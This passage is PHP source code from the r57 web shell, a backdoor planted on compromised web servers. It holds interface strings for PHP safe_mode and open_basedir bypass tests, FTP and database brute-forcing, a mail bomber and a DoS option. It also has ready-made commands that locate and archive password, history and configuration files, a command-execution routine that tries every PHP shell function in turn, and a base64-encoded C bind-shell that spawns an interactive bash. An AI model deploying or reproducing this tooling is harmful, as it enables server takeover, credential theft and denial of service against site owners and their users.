\'tr_text50\'=>\'CPU bilgisini incele\',
\'tr_text51\'=>\'Memory[hafiza] bilgisini incele]\',
\'tr_text52\'=>\'Metni Bul \',
\'tr_text53\'=>\'Klasor Bul\',
\'tr_text54\'=>\'Dosyalarda ki Metni Bul\',
\'tr_butt12\'=>\'Bul\',
\'tr_text55\'=>\'Dosya Bul \',
\'tr_text56\'=>\'Bulunmadi :( KeyCoder :)\',
\'tr_text57\'=>\'Olustur/Sil Dosya/Dizin \',
\'tr_text58\'=>\'isim\',
\'tr_text59\'=>\'Dosya\',
\'tr_text60\'=>\'Dizin\',
\'tr_butt13\'=>\'Olustur/Sil\',
\'tr_text61\'=>\'Dosya Olustur\',
\'tr_text62\'=>\'Dizin Olustur\',
\'tr_text63\'=>\'Dosya Sil\',
\'tr_text64\'=>\'Dizin Sil\',
\'tr_text65\'=>\'Olustur\',
\'tr_text66\'=>\'Sil\',
\'tr_text67\'=>\'Chown/Chgrp/Chmod\',
\'tr_text68\'=>\'Uygula\',
\'tr_text69\'=>\'param1\',
\'tr_text70\'=>\'param2\',
\'tr_text71\'=>"Second commands param is:\r\n- for CHOWN - name of new owner or UID\r\n- for CHGRP - group name or GID\r\n- for CHMOD - 0777, 0755...",
\'tr_text72\'=>\'Metin Bul\',
\'tr_text73\'=>\'Klasor Bul\',
\'tr_text74\'=>\'Dosya Bul\',
\'tr_text75\'=>\'* you can use regexp\',
\'tr_text76\'=>\'Metin Ara Dosyalarin icinde Arama Yoluyla\',
\'tr_text80\'=>\'Cesit\',
\'tr_text81\'=>\'Net\',
\'tr_text82\'=>\'Databases\',
\'tr_text83\'=>\'SQL Sorgusu Yap\',
\'tr_text84\'=>\'SQL Sorgusu\',
\'tr_text85\'=>\'Test bypass safe_mode with commands execute via MSSQL server\',
\'tr_text86\'=>\'Download files from server\',
\'tr_butt14\'=>\'Download\',
\'tr_text87\'=>\'Download files from remote ftp-server\',
\'tr_text88\'=>\'server:port\',
\'tr_text89\'=>\'File on ftp\',
\'tr_text90\'=>\'Transfer mode\',
\'tr_text91\'=>\'Archivation\',
\'tr_text92\'=>\'without arch.\',
\'tr_text93\'=>\'FTP\',
\'tr_text94\'=>\'FTP-bruteforce\',
\'tr_text95\'=>\'Users list\',
\'tr_text96\'=>\'Can\\'t get users list\',
\'tr_text97\'=>\'checked: \',
\'tr_text98\'=>\'success: \',
\'tr_text99\'=>\'/etc/passwd\',
\'tr_text100\'=>\'Send file to remote ftp server\',
\'tr_text101\'=>\'Use reverse (user -> resu)\',
\'tr_text102\'=>\'Mail\',
\'tr_text103\'=>\'Send email\',
\'tr_text104\'=>\'Send file to email\',
\'tr_text105\'=>\'To\',
\'tr_text106\'=>\'From\',
\'tr_text107\'=>\'Subj\',
\'tr_butt15\'=>\'Send\',
\'tr_text108\'=>\'Mail\',
\'tr_text109\'=>\'Hide\',
\'tr_text110\'=>\'Show\',
\'tr_text111\'=>\'SQL-Server : Port\',
\'tr_text112\'=>\'Test bypass safe_mode with function mb_send_mail (PHP <= 4.0-4.2.2, 5.x)\',
\'tr_text113\'=>\'Test bypass safe_mode, view dir list via imap_list (PHP <= 5.1.2)\',
\'tr_text114\'=>\'Test bypass safe_mode, view file contest via imap_body (PHP <= 5.1.2)\',
\'tr_text115\'=>\'Test bypass safe_mode, copy file via copy[compress.zlib://] (PHP <= 4.4.2, 5.1.2)\',
\'tr_text116\'=>\'Copy from\',
\'tr_text117\'=>\'to\',
\'tr_text118\'=>\'File copied\',
\'tr_text119\'=>\'Cant copy file\',
\'tr_text120\'=>\'Test bypass safe_mode via ini_restore (PHP <= 4.4.4, 5.1.6) by NST\',
\'tr_text121\'=>\'Test bypass open_basedir, view dir list via fopen (PHP v4.4.0 memory leak) by NST\',
\'tr_text122\'=>\'Test bypass open_basedir, view dir list via glob (PHP <= 5.2.x)\',
\'tr_text123\'=>\'Test bypass open_basedir, read *.bzip file via [compress.bzip2://] (PHP <= 5.2.1)\',
\'tr_text124\'=>\'Test bypass open_basedir, add data to file via error_log[php://] (PHP <= 5.1.4, 4.4.2)\',
\'tr_text125\'=>\'Data\',
\'tr_text126\'=>\'Test bypass open_basedir, create file via session_save_path[NULL-byte] (PHP <= 5.2.0)\',
\'tr_text127\'=>\'Test bypass open_basedir, add data to file via readfile[php://] (PHP <= 5.2.1, 4.4.4)\',
\'tr_text128\'=>\'Modify/Access date(touch)\',
\'tr_text129\'=>\'Test bypass open_basedir, create file via fopen[srpath://] (PHP v5.2.0)\',
\'tr_text130\'=>\'Test bypass open_basedir, read *.zip file via [zip://] (PHP <= 5.2.1)\',
\'tr_text131\'=>\'Test bypass open_basedir, view file contest via symlink() (PHP <= 5.2.1)\',
\'tr_text132\'=>\'Test bypass open_basedir, view dir list via symlink() (PHP <= 5.2.1)\',
\'tr_text133\'=>\'\',
\'tr_text134\'=>\'Database-bruteforce\',
\'tr_text135\'=>\'Dictionary\',
\'tr_text136\'=>\'Creating evil symlink\',
\'tr_text137\'=>\'Useful\',
\'tr_text138\'=>\'Dangerous\',
\'tr_text139\'=>\'Mail Bomber\',
\'tr_text140\'=>\'DoS\',
\'tr_text141\'=>\'Danger! Web-daemon crash possible.\',
\'tr_err0\'=>\'Error! Can\\'t write in file \',
\'tr_err1\'=>\'Error! Can\\'t read file \',
\'tr_err2\'=>\'Error! Can\\'t create \',
\'tr_err3\'=>\'Error! Can\\'t connect to ftp\',
\'tr_err4\'=>\'Error! Can\\'t login on ftp server\',
\'tr_err5\'=>\'Error! Can\\'t change dir on ftp\',
\'tr_err6\'=>\'Error! Can\\'t sent mail\',
\'tr_err7\'=>\'Mail send\',
);
$aliases=array(
\'----------------------------------locate\'=>\'\',
\'locate httpd.conf files >> /tmp/grep.txt;cat /tmp/grep.txt\'=>\'locate httpd.conf >> /tmp/grep.txt;cat /tmp/grep.txt\',
\'locate vhosts.conf files >> /tmp/grep.txt;cat /tmp/grep.txt\'=>\'locate vhosts.conf >> /tmp/grep.txt;cat /tmp/grep.txt\',
\'locate proftpd.conf files >> /tmp/grep.txt;cat /tmp/grep.txt\'=>\'locate proftpd.conf >> /tmp/grep.txt;cat /tmp/grep.txt\',
\'locate psybnc.conf >> /tmp/grep.txt;cat /tmp/grep.txt\'=>\'locate psybnc.conf >> /tmp/grep.txt;cat /tmp/grep.txt\',
\'locate my.conf files >> /tmp/grep.txt;cat /tmp/grep.txt\'=>\'locate my.conf >> /tmp/grep.txt;cat /tmp/grep.txt\',
\'locate admin.php files >> /tmp/grep.txt;cat /tmp/grep.txt\'=>\'locate admin.php >> /tmp/grep.txt;cat /tmp/grep.txt\',
\'locate cfg.php files >> /tmp/grep.txt;cat /tmp/grep.txt\'=>\'locate cfg.php >> /tmp/grep.txt;cat /tmp/grep.txt\',
\'locate conf.php files >> /tmp/grep.txt;cat /tmp/grep.txt\'=>\'locate conf.php >> /tmp/grep.txt;cat /tmp/grep.txt\',
\'locate config.dat files >> /tmp/grep.txt;cat /tmp/grep.txt\'=>\'locate config.dat >> /tmp/grep.txt;cat /tmp/grep.txt\',
\'locate config.php files >> /tmp/grep.txt;cat /tmp/grep.txt\'=>\'locate config.php >> /tmp/grep.txt;cat /tmp/grep.txt\',
\'locate config.inc files >> /tmp/grep.txt;cat /tmp/grep.txt\'=>\'locate config.inc >> /tmp/grep.txt;cat /tmp/grep.txt\',
\'locate config.inc.php files >> /tmp/grep.txt;cat /tmp/grep.txt\'=>\'locate config.inc.php >> /tmp/grep.txt;cat /tmp/grep.txt\',
\'locate config.default.php files >> /tmp/grep.txt;cat /tmp/grep.txt\'=>\'locate config.default.php >> /tmp/grep.txt;cat /tmp/grep.txt\',
\'locate .conf files >> /tmp/grep.txt;cat /tmp/grep.txt\'=>\'locate ".conf" >> /tmp/grep.txt;cat /tmp/grep.txt\',
\'locate .pwd files >> /tmp/grep.txt;cat /tmp/grep.txt\'=>\'locate ".pwd" >> /tmp/grep.txt;cat /tmp/grep.txt\',
\'locate .sql files >> /tmp/grep.txt;cat /tmp/grep.txt\'=>\'locate ".sql" >> /tmp/grep.txt;cat /tmp/grep.txt\',
\'locate .htpasswd files >> /tmp/grep.txt;cat /tmp/grep.txt\'=>\'locate ".htpasswd" >> /tmp/grep.txt;cat /tmp/grep.txt\',
\'locate .bash_history files >> /tmp/grep.txt;cat /tmp/grep.txt\'=>\'locate ".bash_history" >> /tmp/grep.txt;cat /tmp/grep.txt\',
\'locate .mysql_history files >> /tmp/grep.txt;cat /tmp/grep.txt\'=>\'locate ".mysql_history" >> /tmp/grep.txt;cat /tmp/grep.txt\',
\'locate backup files >> /tmp/grep.txt;cat /tmp/grep.txt\'=>\'locate backup >> /tmp/grep.txt;cat /tmp/grep.txt\',
\'locate dump files >> /tmp/grep.txt;cat /tmp/grep.txt\'=>\'locate dump >> /tmp/grep.txt;cat /tmp/grep.txt\',
\'locate priv files >> /tmp/grep.txt;cat /tmp/grep.txt\'=>\'locate priv >> /tmp/grep.txt;cat /tmp/grep.txt\',
\'----------------------------------tar\'=>\'\',
\'tar -czvf all.tgz -T /tmp/grep.txt\'=>\'tar -czvf all.tgz -T /tmp/grep.txt\',
\'----------------------------------1\'=>\'\',
\'locate access_log files >> /tmp/grep.txt;cat /tmp/grep.txt\'=>\'locate access_log >> /tmp/grep.txt;cat /tmp/grep.txt\',
\'locate error_log files >> /tmp/grep.txt;cat /tmp/grep.txt\'=>\'locate error_log >> /tmp/grep.txt;cat /tmp/grep.txt\',
\'locate access.log files >> /tmp/grep.txt;cat /tmp/grep.txt\'=>\'locate access.log >> /tmp/grep.txt;cat /tmp/grep.txt\',
\'locate error.log files >> /tmp/grep.txt;cat /tmp/grep.txt\'=>\'locate error.log >> /tmp/grep.txt;cat /tmp/grep.txt\',
\'locate ".log" files >> /tmp/grep.txt;cat /tmp/grep.txt\'=>\'locate ".log" >> /tmp/grep.txt;cat /tmp/grep.txt\',
\'----------------------------------2\'=>\'\',
\'cat /var/log/httpd/access_log | grep pass >> /tmp/grep.txt;cat /tmp/grep.txt\'=>\'cat /var/log/httpd/access_log | grep pass >> /tmp/grep.txt\',
\'----------------------------------find\'=>\'\',
\'find suid files >> /tmp/grep.txt;cat /tmp/grep.txt\'=>\'find / -type f -perm -04000 -ls  >> /tmp/grep.txt;cat /tmp/grep.txt\',
\'find suid files in current dir >> /tmp/grep.txt;cat /tmp/grep.txt\'=>\'find . -type f -perm -04000 -ls  >> /tmp/grep.txt;cat /tmp/grep.txt\',
\'find sgid files >> /tmp/grep.txt;cat /tmp/grep.txt\'=>\'find / -type f -perm -02000 -ls  >> /tmp/grep.txt;cat /tmp/grep.txt\',
\'find sgid files in current dir >> /tmp/grep.txt;cat /tmp/grep.txt\'=>\'find . -type f -perm -02000 -ls  >> /tmp/grep.txt;cat /tmp/grep.txt\',
\'find all writable files >> /tmp/grep.txt;cat /tmp/grep.txt\'=>\'find / -type f -perm -2 -ls  >> /tmp/grep.txt;cat /tmp/grep.txt\',
\'find all writable files in current dir >> /tmp/grep.txt;cat /tmp/grep.txt\'=>\'find . -type f -perm -2 -ls  >> /tmp/grep.txt;cat /tmp/grep.txt\',
\'find all writable directories >> /tmp/grep.txt;cat /tmp/grep.txt\'=>\'find /  -type d -perm -2 -ls  >> /tmp/grep.txt;cat /tmp/grep.txt\',
\'find all writable directories in current dir >> /tmp/grep.txt;cat /tmp/grep.txt\'=>\'find . -type d -perm -2 -ls  >> /tmp/grep.txt;cat /tmp/grep.txt\',
\'find all writable directories and files >> /tmp/grep.txt;cat /tmp/grep.txt\'=>\'find / -perm -2 -ls  >> /tmp/grep.txt;cat /tmp/grep.txt\',
\'find all writable directories and files in current dir >> /tmp/grep.txt;cat /tmp/grep.txt\'=>\'find . -perm -2 -ls  >> /tmp/grep.txt;cat /tmp/grep.txt\',
\'find all .htpasswd files >> /tmp/grep.txt;cat /tmp/grep.txt\'=>\'find / -type f -name .htpasswd  >> /tmp/grep.txt;cat /tmp/grep.txt\',
\'find all .bash_history files >> /tmp/grep.txt;cat /tmp/grep.txt\'=>\'find / -type f -name .bash_history  >> /tmp/grep.txt;cat /tmp/grep.txt\',
\'find all .mysql_history files >> /tmp/grep.txt;cat /tmp/grep.txt\'=>\'find / -type f -name .mysql_history  >> /tmp/grep.txt;cat /tmp/grep.txt\',
\'find all .fetchmailrc files >> /tmp/grep.txt;cat /tmp/grep.txt\'=>\'find / -type f -name .fetchmailrc  >> /tmp/grep.txt;cat /tmp/grep.txt\',
\'find httpd.conf files >> /tmp/grep.txt;cat /tmp/grep.txt\'=>\'find / -type f -name httpd.conf >> /tmp/grep.txt;cat /tmp/grep.txt\',
\'find vhosts.conf files >> /tmp/grep.txt;cat /tmp/grep.txt\'=>\'find / -type f -name vhosts.conf >> /tmp/grep.txt;cat /tmp/grep.txt\',
\'find proftpd.conf files >> /tmp/grep.txt;cat /tmp/grep.txt\'=>\'find / -type f -name proftpd.conf >> /tmp/grep.txt;cat /tmp/grep.txt\',
\'find admin.php files >> /tmp/grep.txt;cat /tmp/grep.txt\'=>\'find / -type f -name admin.php >> /tmp/grep.txt;cat /tmp/grep.txt\',
\'find config* files >> /tmp/grep.txt;cat /tmp/grep.txt\'=>\'find / -type f -name "config*"  >> /tmp/grep.txt;cat /tmp/grep.txt\',
\'find cfg.php files >> /tmp/grep.txt;cat /tmp/grep.txt\'=>\'find / -type f -name cfg.php >> /tmp/grep.txt;cat /tmp/grep.txt\',
\'find conf.php files >> /tmp/grep.txt;cat /tmp/grep.txt\'=>\'find / -type f -name conf.php >> /tmp/grep.txt;cat /tmp/grep.txt\',
\'find config.dat files >> /tmp/grep.txt;cat /tmp/grep.txt\'=>\'find / -type f -name config.dat >> /tmp/grep.txt;cat /tmp/grep.txt\',
\'find config.php files >> /tmp/grep.txt;cat /tmp/grep.txt\'=>\'find / -type f -name config.php >> /tmp/grep.txt;cat /tmp/grep.txt\',
\'find config.inc files >> /tmp/grep.txt;cat /tmp/grep.txt\'=>\'find / -type f -name config.inc >> /tmp/grep.txt;cat /tmp/grep.txt\',
\'find config.inc.php files >> /tmp/grep.txt;cat /tmp/grep.txt\'=>\'find / -type f -name config.inc.php >> /tmp/grep.txt;cat /tmp/grep.txt\',
\'find config.default.php files >> /tmp/grep.txt;cat /tmp/grep.txt\'=>\'find / -type f -name config.default.php >> /tmp/grep.txt;cat /tmp/grep.txt\',
\'find *.conf files >> /tmp/grep.txt;cat /tmp/grep.txt\'=>\'find / -type f -name "*.conf" >> /tmp/grep.txt;cat /tmp/grep.txt\',
\'find *.pwd files >> /tmp/grep.txt;cat /tmp/grep.txt\'=>\'find / -type f -name "*.pwd" >> /tmp/grep.txt;cat /tmp/grep.txt\',
\'find *.sql files >> /tmp/grep.txt;cat /tmp/grep.txt\'=>\'find / -type f -name "*.sql" >> /tmp/grep.txt;cat /tmp/grep.txt\',
\'find *backup* files >> /tmp/grep.txt;cat /tmp/grep.txt\'=>\'find / -type f -name "*backup*" >> /tmp/grep.txt;cat /tmp/grep.txt\',
\'find *dump* files >> /tmp/grep.txt;cat /tmp/grep.txt\'=>\'find / -type f -name "*dump*" >> /tmp/grep.txt;cat /tmp/grep.txt\',
\'-----------------------------------\'=>\'\',
\'find /var/ access_log files >> /tmp/grep.txt;cat /tmp/grep.txt\'=>\'find /var/ -type f -name access_log >> /tmp/grep.txt;cat /tmp/grep.txt\',
\'find /var/ error_log files >> /tmp/grep.txt;cat /tmp/grep.txt\'=>\'find /var/ -type f -name error_log >> /tmp/grep.txt;cat /tmp/grep.txt\',
\'find /var/ access.log files >> /tmp/grep.txt;cat /tmp/grep.txt\'=>\'find /var/ -type f -name access.log >> /tmp/grep.txt;cat /tmp/grep.txt\',
\'find /var/ error.log files >> /tmp/grep.txt;cat /tmp/grep.txt\'=>\'find /var/ -type f -name error.log >> /tmp/grep.txt;cat /tmp/grep.txt\',
\'find /var/ "*.log" files >> /tmp/grep.txt;cat /tmp/grep.txt\'=>\'find /var/ -type f -name "*.log" >> /tmp/grep.txt;cat /tmp/grep.txt\',
\'----------------------------------------------------------------------------------------------------\'=>\'ls -la\'
);
$table_up1  = "<tr><td bgcolor=#333333><font face=Verdana size=-2><b><div align=center>:: ";
$table_up2  = " ::</div></b></font></td></tr><tr><td>";
$table_up3  = "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#008000><tr><td bgcolor=#333333>";
$table_end1 = "</td></tr>";
$arrow = " <font face=Webdings color=gray>4</font>";
$lb = "<font color=green>[</font>";
$rb = "<font color=green>]</font>";
$font = "<font face=Verdana size=-2>";
$ts = "<table class=table1 width=100% align=center>";
$te = "</table>";
$fs = "<form name=form method=POST>";
$fe = "</form>";
if(isset($_GET[\'users\'])) 
{
if(!$users=get_users(\'/etc/passwd\')) {echo "<center><font face=Verdana size=-2 color=red>".$lang[$language.\'_text96\']."</font></center>";}
else 
{
echo \'<center>\';
foreach($users as $user) {echo $user."<br>";}
echo \'</center>\';
}
echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER[\'PHP_SELF\'].">BACK</a> ]</b></font></div>";die();
}
if (!empty($_POST[\'dir\'])) {if(@function_exists(\'chdir\')){@chdir($_POST[\'dir\']);}else if(@function_exists(\'chroot\')){@chroot($_POST[\'dir\']);};}
if (empty($_POST[\'dir\'])){if(@function_exists(\'chdir\')){$dir = @getcwd();};}else{$dir=$_POST[\'dir\'];}
$unix = 0;
if(strlen($dir)>1 &&$dir[1]==":") $unix=0;else $unix=1;
if(empty($dir))
{
$os = getenv(\'OS\');
if(empty($os)){$os = @php_uname();}
if(empty($os)){$os ="-";$unix=1;}
else
{
if(@eregi("^win",$os)) {$unix = 0;}
else {$unix = 1;}
}
}
if(!empty($_POST[\'s_dir\']) &&!empty($_POST[\'s_text\']) &&!empty($_POST[\'cmd\']) &&$_POST[\'cmd\'] == "search_text")
{
echo $head;
if(!empty($_POST[\'s_mask\']) &&!empty($_POST[\'m\'])) {$sr = new SearchResult($_POST[\'s_dir\'],$_POST[\'s_text\'],$_POST[\'s_mask\']);}
else {$sr = new SearchResult($_POST[\'s_dir\'],$_POST[\'s_text\']);}
$sr->SearchText(0,0);
$res = $sr->GetResultFiles();
$found = $sr->GetMatchesCount();
$titles = $sr->GetTitles();
$r = "";
if($found >0)
{
$r .= "<TABLE width=100%>";
foreach($res as $file=>$v)
{
$r .= "<TR>";
$r .= "<TD colspan=2><font face=Verdana size=-2><b>".ws(3);
$r .= (!$unix)?str_replace("/","\\",$file) : $file;
$r .= "</b></font></ TD>";
$r .= "</TR>";
foreach($v as $a=>$b)
{
$r .= "<TR>";
$r .= "<TD align=center><B><font face=Verdana size=-2>".$a."</font></B></TD>";
$r .= "<TD><font face=Verdana size=-2>".ws(2).$b."</font></TD>";
$r .= "</TR>\n";
}
}
$r .= "</TABLE>";
echo $r;
}
else
{
echo "<P align=center><B><font face=Verdana size=-2>".$lang[$language.\'_text56\']."</B></font></P>";
}
echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER[\'PHP_SELF\'].">BACK</a> ]</b></font></div>";
die();
}
if(!$safe_mode &&strpos(ex("echo abcr57"),"r57")!=3) {$safe_mode = 1;}
$SERVER_SOFTWARE = getenv(\'SERVER_SOFTWARE\');
if(empty($SERVER_SOFTWARE)){$SERVER_SOFTWARE = "-";}
function ws($i)
{
return @str_repeat("&nbsp;",$i);
}
function ex($cfe)
{
$res = \'\';
if (!empty($cfe))
{
if(@function_exists(\'exec\'))
{
@exec($cfe,$res);
$res = join("\n",$res);
}
elseif(@function_exists(\'shell_exec\'))
{
$res = @shell_exec($cfe);
}
elseif(@function_exists(\'system\'))
{
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
}
elseif(@function_exists(\'passthru\'))
{
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
}
elseif(@is_resource($f = @popen($cfe,"r")))
{
$res = "";
if(@function_exists(\'fread\') &&@function_exists(\'feof\')){
while(!@feof($f)) {$res .= @fread($f,1024);}
}else if(@function_exists(\'fgets\') &&@function_exists(\'feof\')){
while(!@feof($f)) {$res .= @fgets($f,1024);}
}
@pclose($f);
}
elseif(@is_resource($f = @proc_open($cfe,array(1 =>array("pipe","w")),$pipes)))
{
$res = "";
if(@function_exists(\'fread\') &&@function_exists(\'feof\')){
while(!@feof($pipes[1])) {$res .= @fread($pipes[1],1024);}
}else if(@function_exists(\'fgets\') &&@function_exists(\'feof\')){
while(!@feof($pipes[1])) {$res .= @fgets($pipes[1],1024);}
}
@proc_close($f);
}
elseif(@function_exists(\'pcntl_exec\')&&@function_exists(\'pcntl_fork\'))
{
$res = \'[~] Blind Command Execution via [pcntl_exec]\n\n\';
$pid = @pcntl_fork();
if ($pid == -1) {
$res .= \'[-] Could not children fork. Exit\';
}else if ($pid) {
if (@pcntl_wifexited($status)){$res .= \'[+] Done! Command "\'.$cfe.\'" successfully executed.\';}
else {$res .= \'[-] Error. Command incorrect.\';}
}else {
$cfe = array(" -e \'system(\"$cfe\")\'");
if(@pcntl_exec(\'/usr/bin/perl\',$cfe)) exit(0);
if(@pcntl_exec(\'/usr/local/bin/perl\',$cfe)) exit(0);
die();
}
}
}
return $res;
}
function get_users($filename)
{
$users = array();
$rows=@explode("\n",readzlib($filename));
if(!$rows) return 0;
foreach ($rows as $string)
{
$user = @explode(":",trim($string));
if(substr($string,0,1)!=\'#\') array_push($users,$user[0]);
}
return $users;
}
function err($n,$txt=\'\')
{
echo \'<table width=100% cellpadding=0 cellspacing=0><tr><td bgcolor=#333333><font color=red face=Verdana size=-2><div align=center><b>\';
echo $GLOBALS[\'lang\'][$GLOBALS[\'language\'].\'_err\'.$n];
if(!empty($txt)) {echo " $txt";}
echo \'</b></div></font></td></tr></table>\';
return null;
}
function perms($mode)
{
if (!$GLOBALS[\'unix\']) return 0;
if( $mode &0x1000 ) {$type=\'p\';}
else if( $mode &0x2000 ) {$type=\'c\';}
else if( $mode &0x4000 ) {$type=\'d\';}
else if( $mode &0x6000 ) {$type=\'b\';}
else if( $mode &0x8000 ) {$type=\'-\';}
else if( $mode &0xA000 ) {$type=\'l\';}
else if( $mode &0xC000 ) {$type=\'s\';}
else $type=\'u\';
$owner["read"] = ($mode &00400) ?\'r\': \'-\';
$owner["write"] = ($mode &00200) ?\'w\': \'-\';
$owner["execute"] = ($mode &00100) ?\'x\': \'-\';
$group["read"] = ($mode &00040) ?\'r\': \'-\';
$group["write"] = ($mode &00020) ?\'w\': \'-\';
$group["execute"] = ($mode &00010) ?\'x\': \'-\';
$world["read"] = ($mode &00004) ?\'r\': \'-\';
$world["write"] = ($mode &00002) ?\'w\': \'-\';
$world["execute"] = ($mode &00001) ?\'x\': \'-\';
if( $mode &0x800 ) $owner["execute"] = ($owner[\'execute\']==\'x\') ?\'s\': \'S\';
if( $mode &0x400 ) $group["execute"] = ($group[\'execute\']==\'x\') ?\'s\': \'S\';
if( $mode &0x200 ) $world["execute"] = ($world[\'execute\']==\'x\') ?\'t\': \'T\';
$s=sprintf("%1s",$type);
$s.=sprintf("%1s%1s%1s",$owner[\'read\'],$owner[\'write\'],$owner[\'execute\']);
$s.=sprintf("%1s%1s%1s",$group[\'read\'],$group[\'write\'],$group[\'execute\']);
$s.=sprintf("%1s%1s%1s",$world[\'read\'],$world[\'write\'],$world[\'execute\']);
return trim($s);
}
function in($type,$name,$size,$value,$checked=0)
{
$ret = "<input type=".$type." name=".$name." ";
if($size != 0) {$ret .= "size=".$size." ";}
$ret .= "value=\"".$value."\"";
if($checked) $ret .= " checked";
return $ret.">";
}
function which($pr)
{
$path = \'\';
$path = ex("which $pr");
if(!empty($path)) {return $path;}else {return false;}
}
function cf($fname,$text)
{
$w_file=@fopen($fname,"w") or @function_exists(\'file_put_contents\') or err(0);
if($w_file)
{
@fwrite($w_file,base64_decode($text)) or @fputs($w_file,base64_decode($text)) or @file_put_contents($fname,base64_decode($text));
@fclose($w_file);
}
}
function sr($l,$t1,$t2)
{
return "<tr class=tr1><td class=td1 width=".$l."% align=right>".$t1."</td><td class=td1 align=left>".$t2."</td></tr>";
}
if (!@function_exists("view_size"))
{
function view_size($size)
{
if($size >= 1073741824) {$size = @round($size / 1073741824 * 100) / 100 ." GB";}
elseif($size >= 1048576) {$size = @round($size / 1048576 * 100) / 100 ." MB";}
elseif($size >= 1024) {$size = @round($size / 1024 * 100) / 100 ." KB";}
else {$size = $size ." B";}
return $size;
}
}
function DirFilesR($dir,$types=\'\')
{
$files = Array();
if(($handle = @opendir($dir)) ||(@function_exists(\'scandir\')))
{
while ((false !== ($file = @readdir($handle))) &&(false !== ($file = @scandir($dir))))
{
if ($file != "."&&$file != "..")
{
if(@is_dir($dir."/".$file))
$files = @array_merge($files,DirFilesR($dir."/".$file,$types));
else
{
$pos = @strrpos($file,".");
$ext = @substr($file,$pos,@strlen($file)-$pos);
if($types)
{
if(@in_array($ext,explode(\';\',$types)))
$files[] = $dir."/".$file;
}
else
$files[] = $dir."/".$file;
}
}
}
@closedir($handle);
}
return $files;
}
class SearchResult
{
var $text;
var $FilesToSearch;
var $ResultFiles;
var $FilesTotal;
var $MatchesCount;
var $FileMatschesCount;
var $TimeStart;
var $TimeTotal;
var $titles;
function SearchResult($dir,$text,$filter=\'\')
{
$dirs = @explode(";",$dir);
$this->FilesToSearch = Array();
for($a=0;$a<count($dirs);$a++)
$this->FilesToSearch = @array_merge($this->FilesToSearch,DirFilesR($dirs[$a],$filter));
$this->text = $text;
$this->FilesTotal = @count($this->FilesToSearch);
$this->TimeStart = getmicrotime();
$this->MatchesCount = 0;
$this->ResultFiles = Array();
$this->FileMatchesCount = Array();
$this->titles = Array();
}
function GetFilesTotal() {return $this->FilesTotal;}
function GetTitles() {return $this->titles;}
function GetTimeTotal() {return $this->TimeTotal;}
function GetMatchesCount() {return $this->MatchesCount;}
function GetFileMatchesCount() {return $this->FileMatchesCount;}
function GetResultFiles() {return $this->ResultFiles;}
function SearchText($phrase=0,$case=0) {
$qq = @explode(\' \',$this->text);
$delim = \'|\';
if($phrase)
foreach($qq as $k=>$v)
$qq[$k] = \'\b\'.$v.\'\b\';
$words = \'(\'.@implode($delim,$qq).\')\';
$pattern = "/".$words."/";
if(!$case)
$pattern .= \'i\';
foreach($this->FilesToSearch as $k=>$filename)
{
$this->FileMatchesCount[$filename] = 0;
$FileStrings = @file($filename) or @next;
for($a=0;$a<@count($FileStrings);$a++)
{
$count = 0;
$CurString = $FileStrings[$a];
$CurString = @Trim($CurString);
$CurString = @strip_tags($CurString);
$aa = \'\';
if(($count = @preg_match_all($pattern,$CurString,$aa)))
{
$CurString = @preg_replace($pattern,"<SPAN style=\'color: #990000;\'><b>\\1</b></SPAN>",$CurString);
$this->ResultFiles[$filename][$a+1] = $CurString;
$this->MatchesCount += $count;
$this->FileMatchesCount[$filename] += $count;
}
}
}
$this->TimeTotal = @round(getmicrotime() -$this->TimeStart,4);
}
}
function getmicrotime()
{
list($usec,$sec) = @explode(" ",@microtime());
return ((float)$usec +(float)$sec);
}
$port_bind_bd_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8c3lzL3R5cGVzLmg+DQojaW5jbHVkZS
A8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCiNpbmNsdWRlIDxlcnJuby5oPg0KaW50IG1haW4oYXJnYyxhcmd2KQ0KaW50I
GFyZ2M7DQpjaGFyICoqYXJndjsNCnsgIA0KIGludCBzb2NrZmQsIG5ld2ZkOw0KIGNoYXIgYnVmWzMwXTsNCiBzdHJ1Y3Qgc29ja2FkZHJfaW4gcmVt
b3RlOw0KIGlmKGZvcmsoKSA9PSAwKSB7IA0KIHJlbW90ZS5zaW5fZmFtaWx5ID0gQUZfSU5FVDsNCiByZW1vdGUuc2luX3BvcnQgPSBodG9ucyhhdG9
pKGFyZ3ZbMV0pKTsNCiByZW1vdGUuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0FOWSk7IA0KIHNvY2tmZCA9IHNvY2tldChBRl9JTkVULF
NPQ0tfU1RSRUFNLDApOw0KIGlmKCFzb2NrZmQpIHBlcnJvcigic29ja2V0IGVycm9yIik7DQogYmluZChzb2NrZmQsIChzdHJ1Y3Qgc29ja2FkZHIgK
ikmcmVtb3RlLCAweDEwKTsNCiBsaXN0ZW4oc29ja2ZkLCA1KTsNCiB3aGlsZSgxKQ0KICB7DQogICBuZXdmZD1hY2NlcHQoc29ja2ZkLDAsMCk7DQog
ICBkdXAyKG5ld2ZkLDApOw0KICAgZHVwMihuZXdmZCwxKTsNCiAgIGR1cDIobmV3ZmQsMik7DQogICB3cml0ZShuZXdmZCwiUGFzc3dvcmQ6IiwxMCk
7DQogICByZWFkKG5ld2ZkLGJ1ZixzaXplb2YoYnVmKSk7DQogICBpZiAoIWNocGFzcyhhcmd2WzJdLGJ1ZikpDQogICBzeXN0ZW0oImVjaG8gd2VsY2
9tZSB0byByNTcgc2hlbGwgJiYgL2Jpbi9iYXNoIC1pIik7DQogICBlbHNlDQogICBmcHJpbnRmKHN0ZGVyciwiU29ycnkiKTsNCiAgIGNsb3NlKG5ld
2ZkKTsNCiAgfQ0KIH0NCn0NCmludCBjaHBhc3MoY2hhciAqYmFzZSwgY2hhciAqZW50ZXJlZCkgew0KaW50IGk7DQpmb3IoaT0wO2k8c3RybGVuKGVu
dGVyZWQpO2krKykgDQp7DQppZihlbnRlcmVkW2ldID09ICdcbicpDQplbnRlcmVkW2ldID0gJ1wwJzsgDQppZihlbnRlcmVkW2ldID09ICdccicpDQp
